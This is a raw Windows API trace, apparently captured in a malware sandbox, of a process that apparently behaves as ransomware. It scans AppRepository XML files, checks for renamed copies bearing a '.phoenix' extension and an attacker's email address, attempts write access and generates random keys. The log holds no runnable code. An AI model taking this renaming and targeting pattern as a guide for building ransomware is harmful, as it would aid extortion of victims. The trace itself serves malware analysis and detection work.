	[0230.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.092] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.092] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.092] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.092] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=17986) returned 1
	[0230.092] CloseHandle (hObject=0x2f0) returned 1
	[0230.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.092] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.092] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.092] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.093] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=17402) returned 1
	[0230.093] CloseHandle (hObject=0x2f0) returned 1
	[0230.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.093] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.093] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.093] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.sechealthui_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.093] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=9317) returned 1
	[0230.093] CloseHandle (hObject=0x2f0) returned 1
	[0230.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.sechealthui_10.0.15063.0_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0230.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.sechealthui_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.093] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.sechealthui_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.094] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.094] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.secondarytileexperience_10.0.0.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.094] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1692) returned 1
	[0230.094] CloseHandle (hObject=0x2f0) returned 1
	[0230.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.secondarytileexperience_10.0.0.0_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0230.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.secondarytileexperience_10.0.0.0_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.094] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.secondarytileexperience_10.0.0.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.094] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.094] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.SecureAssessmentBrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.secureassessmentbrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.094] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3216) returned 1
	[0230.094] CloseHandle (hObject=0x2f0) returned 1
	[0230.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.SecureAssessmentBrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.secureassessmentbrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0230.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.SecureAssessmentBrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.secureassessmentbrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.095] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.SecureAssessmentBrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.secureassessmentbrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.095] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.095] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ShellExperienceHost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.shellexperiencehost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.095] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=26698) returned 1
	[0230.095] CloseHandle (hObject=0x2f0) returned 1
	[0230.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ShellExperienceHost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.shellexperiencehost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0230.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ShellExperienceHost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.shellexperiencehost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.095] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ShellExperienceHost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.shellexperiencehost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.096] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.096] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.WindowPicker_10.0.15063.332_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.windowpicker_10.0.15063.332_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.096] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1425) returned 1
	[0230.096] CloseHandle (hObject=0x2f0) returned 1
	[0230.096] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.WindowPicker_10.0.15063.332_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.windowpicker_10.0.15063.332_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0230.096] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.WindowPicker_10.0.15063.332_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.windowpicker_10.0.15063.332_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.096] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.WindowPicker_10.0.15063.332_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.windowpicker_10.0.15063.332_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.096] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.096] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1510.12020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1510.12020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.099] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=835) returned 1
	[0230.099] CloseHandle (hObject=0x2f0) returned 1
	[0230.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1510.12020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1510.12020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1510.12020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1510.12020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.099] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1510.12020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1510.12020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.099] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.099] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.099] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=833) returned 1
	[0230.099] CloseHandle (hObject=0x2f0) returned 1
	[0230.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.099] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.100] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.100] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.100] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=833) returned 1
	[0230.100] CloseHandle (hObject=0x2f0) returned 1
	[0230.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-125_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.100] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.100] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.100] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.100] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=9140) returned 1
	[0230.100] CloseHandle (hObject=0x2f0) returned 1
	[0230.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.101] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.101] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.101] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.101] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.101] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=18273) returned 1
	[0230.101] CloseHandle (hObject=0x2f0) returned 1
	[0230.101] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.101] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.101] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_2015.1012.20.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.101] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.101] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
